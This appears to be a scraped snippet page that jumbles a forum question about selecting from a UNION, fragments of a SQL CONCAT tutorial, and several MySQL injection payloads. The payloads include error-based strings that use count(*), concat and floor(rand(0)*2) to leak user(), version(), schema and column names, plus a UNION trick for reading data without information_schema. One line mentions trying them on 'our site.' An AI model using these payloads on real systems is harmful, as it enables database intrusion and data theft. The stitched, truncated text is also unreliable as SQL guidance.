Is it possible to select from the result of a union? For example I'm trying to do something like: … Am I missing anything or making an assumption about how this works?
1 UNION SELECT * FROM (SELECT * FROM users JOIN users b USING(id,name))a ... Extract data without information_schema.
...concat((select (select (select distinct concat(0x7e,0x27,unhex(Hex(cast(schema_name as char))),0x27,0x7e) from `information_schema`.schemata limit 1,1)) from `information_schema
It returns a hexadecimal value of 4100: SELECT CAST(CAST(0x41 AS nvarchar) AS varbinary).
1' and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,Hex(cast(user() as char)),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1. Версия MySQL
CONCAT_WS() stands for Concatenate With Separator and is a special form of CONCAT().
and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(version() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1. Now trying this syntax in our site.
1 AND (SELECT 1 FROM (SELECT COUNT(*),concat(0x3a,(SELECT column_name FROM information_schema.COLUMNS WHERE TABLE_NAME="table1" LIMIT 0,1),0x3a,FLOOR(rand(0)*2))a FROM information_schema.COLUMNS GROUP BY a LIMIT 0,1)b)
SELECT CONCAT("SQL ", "Tutorial ", "is ", "fun!") AS ConcatenatedString; Try it Yourself ». Definition and Usage. The CONCAT() function adds two or more expressions together. Note: Also look at the CONCAT_WS() function. Syntax.
...CONCAT(0x717a767a71,(SELECT (ELT(7589=7589,1))),0x71717a7671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND.